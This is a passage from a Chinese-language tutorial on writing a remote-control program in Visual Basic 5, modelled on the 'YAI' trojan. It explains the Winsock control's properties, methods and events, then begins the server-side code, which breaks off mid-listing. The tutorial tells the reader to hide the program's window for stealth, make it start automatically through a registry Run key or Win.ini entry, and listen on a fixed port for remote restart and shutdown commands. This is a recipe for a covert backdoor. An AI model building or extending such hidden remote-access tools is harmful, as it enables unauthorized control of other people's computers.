前一段時間,一個名叫YAI的‘病毒’在我國鬧的沸沸揚揚,許多不明真相的人
對他感到神秘莫測,可是究其實質無非也就是一個遠程控制軟件罷了,只不過他的
服務器端程序隱藏的十分好而已。其實在VB5中有一個基於TCP\IP協議的Winsock控
件,利用他改改屬性,寫幾段代碼,我們同樣可以來一回YAI.
由於篇幅所限,在這裡我們只來看看對遠程計算機的重啟,關閉功能室如何實現
的。打開VB5後,在工具箱中並不能看到Winsock控件,通過鼠標右鍵單擊工具箱點
“部件”,再將“Microsoft Winsock Control 5.0”選中確定後,就可以將Winsock
控件添加到工具箱中了。
遠程控制功能是基於客戶機/服務器這一模型來實現的,所以程序的編制也應分兩
部分進行:一部分是服務器端--也就是被控制的一方,另一部分是客戶端--控制方。
服務器程序要守侯在一個固定或不固定的網址(IP)上等待客戶程序的請求;客戶程序
則向服務器程序所在的網址請求連接,連接成功後通過交換信息即可得到相應的服務。
因此設置Winsock屬性時,服務器端應設置LocalPort和應用Listen方法進行監聽,客
戶程序則要設置RemoteHost和RemotePort及應用Connect方法請求連接,並用Senddata
方法互換信息。下面是Winsock控件的相關屬性,方法和事件。(略去一些暫用不到的)
*屬性
-------------------------------------------------------------------------
LocalHostName | 本地機器名
LocalIP | 本地機器IP地址
LocalPort | 本地機器通信程序的端口(0<端口<65536)
RemoteHost | 遠程機器名
RemotePort | 遠程機器的通信程序端口
state | 連接的當前狀態(文後有詳細說明)
Protocal | 使用TCP或UDP協議(這裡我們選‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用於服務器程序,等待客戶訪問。
格式:Winsock對象.listen
Connect
Connect方法用於向遠程主機發出連接請求
格式:Winsock對象.connect [遠程主機IP,遠程端口]
Accept
Accept方法用於接受一個連接請求
格式:Winsock對象.accept Request ID
Senddata
此方法用於發送數據
格? Winsock對象.senddata 數據
Getdata
用來取得接收到的數據
格式:Winsock對象.getdata 變量 [,數據類型 [,最大長度]]
Close
關閉當前連接
格式:Winsock對象.close
*事件
----------------------------------------------------------------------------
Close | 遠程機器關閉連接時觸發
Connect | 連接建立好,可以進行通信時觸發(客戶端)
ConnectRequest | 有請求連接到達時產生(服務器端)
DataArrival | 有數據到達時觸發
Error | 發生錯誤時發生
SendProgress | 數據傳送進度
-----------------------------------------------------------------------------
程序代碼如下:
--》服務器端程序(server.exe)
先在窗體中放置Winsock控件(他在運行時是看不見的),屬性采用默認值,再設置Form1的
屬性ShowInTaskBar為False,Visible為False(這樣才有隱蔽性嘛).對於程序的自啟動可
手工在注冊表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”
中增加鍵值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run寫入
"C:\windows\server.exe"來達到目的。當然也可通過在VB5中調用API函數來實現對注冊表
的寫入,這就更方便了,不過由於實現過程較復雜,就不在這裡說了.
Private Sub Form_Load()
On Error GoTo skip 如此端口已有通信程序則退出
Winsock1.LocalPort = 1334 端口值應大於1024,如還有沖突可改為其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口沖突,退出!", vbOKOnly, "注意!"